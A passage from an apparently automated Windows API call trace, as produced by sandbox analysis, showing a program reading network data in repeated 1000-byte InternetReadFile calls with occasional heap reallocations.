lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c7460, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c7460*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c7848, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c7848*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c7c30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c7c30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c8018, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c8018*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c8400, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c8400*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c87e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c87e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c8bd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c8bd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.587] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16800) returned 0x32c9178 [0139.589] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba170 | out: hHeap=0x2360000) returned 1 [0139.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d7fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d7fc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d83a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d83a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d8790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d8790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d8b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d8b78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d8f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d8f60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9b18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9f00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32da2e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32da2e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32da6d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32da6d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32daab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32daab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32daea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32daea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32db288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32db288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32db670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32db670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dba58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dba58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dbe40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dbe40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.597] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dc228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dc228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.598] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dc610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dc610*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.600] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dc9f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dc9f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.601] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dcde0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dcde0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.601] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dd1c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dd1c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.601] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dd5b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dd5b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dd998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dd998*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ddd80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ddd80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32de168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32de168*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32de550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32de550*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32de938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32de938*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ded20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ded20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32df108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32df108*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32df4f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32df4f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.603] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1e000) returned 0x32df980 [0139.606] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32c9178 | out: hHeap=0x2360000) returned 1 [0139.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f60e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f60e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f64c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f64c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f68b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f68b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f6c98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f6c98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f7080, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f7080*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f7468, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f7468*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.608] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f7850, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f7850*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f7c38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f7c38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f8020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f8020*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f8408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f8408*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f87f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f87f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f8bd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f8bd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f8fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f8fc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f93a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f93a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f9790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f9790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f9b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f9b78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f9f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f9f60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fa348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fa348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fa730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fa730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fab18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fab18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32faf00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32faf00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fb2e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fb2e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fb6d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fb6d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fbab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fbab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fbea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fbea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fc288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fc288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fc670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fc670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fca58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fca58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fce40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fce40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32fd228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32fd228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.623] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x25800) returned 0x32ba170 [0139.627] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32df980 | out: hHeap=0x2360000) returned 1 [0139.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d7e00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d7e00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d81e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d81e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d85d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d85d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d89b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d89b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.630] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d8da0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d8da0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.630] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9188, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9188*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.630] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9570, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9570*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.630] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9958, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9958*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32d9d40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32d9d40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32da128, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32da128*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32da510, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32da510*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32da8f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32da8f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dace0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dace0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32db0c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32db0c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32db4b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32db4b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32db898, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32db898*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dbc80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dbc80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dc068, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dc068*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dc450, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dc450*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dc838, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dc838*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dcc20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dcc20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dd008, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dd008*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dd3f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dd3f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32dd7d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32dd7d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ddbc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ddbc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ddfa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ddfa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32de390, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32de390*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32de778, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32de778*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32deb60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32deb60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32def48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32def48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32df330, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32df330*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.637] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d000) returned 0x32df980 [0139.641] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba170 | out: hHeap=0x2360000) returned 1 [0139.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3304f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3304f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3305310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3305310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33056f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33056f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3305ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3305ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3305ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3305ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33062b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33062b0*, 